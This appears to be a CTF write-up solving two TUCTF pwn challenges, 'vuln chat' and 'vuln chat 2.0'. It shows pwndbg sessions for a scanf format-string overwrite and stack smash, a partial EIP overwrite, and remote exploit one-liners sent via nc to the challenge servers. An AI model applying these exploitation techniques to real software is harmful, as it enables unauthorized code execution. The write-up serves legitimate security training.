TUCTF was a lot of fun this year, it's primarily geared towards High School & College levels so the challenges tend to be easier than a lot of other CTF's, but any CTF is good practice! The challenges this year were very well designed and it was nice to go through them!
Starting off with PWN we have "vuln chat" and "vuln chat 2.0", both 32-bit ELF binaries.
Vuln Chat
The first binary had a very simple main function. It contained a simple printFlag function which cat's flag.txt. It includes two scanf calls in the main function with the format string %30s.
The scanf call is limited to 30 bytes because of the format string, but the first scanf call overflows the format string of the second. If we walk through this in gdb using pwndbg we can see the format string being overwritten.
Breaking at the second scanf with a short string:
pwndbg> b *0x08048634 pwndbg> r <<< $(python -c "print 'AAAA'") ► 0x8048634call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— '%30s' vararg: 0xffffd18b ◂— 0x486b208 0x8048460>
Breaking at the second scanf with a longer string:
pwndbg> r <<< $(python -c "print 'A'*24") ► 0x8048634call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— 'AAAA' vararg: 0xffffd18b ◂— 0x486b208 0x8048460>
Nice! We can control the format string! At this point we could do a few things, use %n or %hn to write to a pointer on the stack, or just increase the input size to perform a regular stack smash, let's do the latter.
The buffer is 20 bytes until the format string overwrite, so we'll fill it with 20 A's, then make the format string %1000s which will overflow enough to get to saved EIP + more.
pwndbg> r <<< $(python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*100") ► f 0 41414141 f 1 41414141 f 2 41414141 f 3 41414141 f 4 41414141 f 5 41414141 f 6 41414141 f 7 41414141 f 8 41414141 f 9 41414141 f 10 41414141 Program received signal SIGSEGV (fault address 0x41414141)
Looking at saved eip & the start of the buffer, we can see it's 0x31 or 49 bytes away:
pwndbg> i f Stack level 0, frame at 0xffffd1c0: eip = 0x8048639 in main; saved eip = 0x41414141 called by frame at 0xffffd1c4 Arglist at 0xffffd1b8, args: Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0 Saved registers: ebp at 0xffffd1b8, eip at 0xffffd1bc ... pwndbg> context stack 02:0008│ 0xffffd188 ◂— 0x41049a10 03:000c│ 0xffffd18c ◂— 0x41414141 ('AAAA') ... ↓ 1b:006c│ 0xffffd1ec ◂— 0x414141 /* 'AAA' */ 1c:0070│ 0xffffd1f0 ◂— 0x0 pwndbg> p/x 0xffffd1bc - 0xffffd18b $8 = 0x31
We can get the address of printFlag and overwrite saved eip with it.
pwndbg> p printFlag $9 = {} 0x804856b
The Final Remote Exploit:
$ (python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*49 + p32(0x0804856b)"; cat) | nc vulnchat.tuctf.com 4141
Vuln Chat 2.0
This second challenge only took a couple minutes to complete, it was done only with dynamic analysis and the address of the printFlag function. If we try a very large buffer we see we get a partial overwrite of EIP.
pwndbg> r <<< $(python -c "print 'A'*9001") ► f 0 8044141 Program received signal SIGSEGV (fault address 0x8044141)
This looks a lot like a partial overwrite during an ASLR challenge! Printing the address of printFlag and trying to overwrite with the last two bytes is the next step:
pwndbg> p printFlag $1 = {} 0x8048672 pwndbg> r <<< $(python -c "print '\x86\x72'*9001") Starting program: ./vuln-chat2.0 <<< $(python -c "print '\x86\x72'*9001") ----------- Welcome to vuln-chat2.0 ------------- Enter your username: Welcome �r�r�r�r�r�r�r�! Connecting to 'djinn' --- 'djinn' has joined your chat --- djinn: You've proven yourself to me. What information do you need? �r�r�r�r�r�r�r�: djinn: Alright here's you flag: djinn: flag{1_l0v3_l337_73x7} djinn: Wait thats not right... Ah! Found it [New process 17594] process 17594 is executing new program: /bin/dash [New process 17595] process 17595 is executing new program: /bin/cat /bin/cat: ./flag.txt: No such file or directory [Inferior 3 (process 17595) exited with code 01] Don't let anyone get ahold of this
The Final Remote Exploit:
$ (python -c 'print "\x86\x72"*2240'; cat) | nc vulnchat2.tuctf.com 4242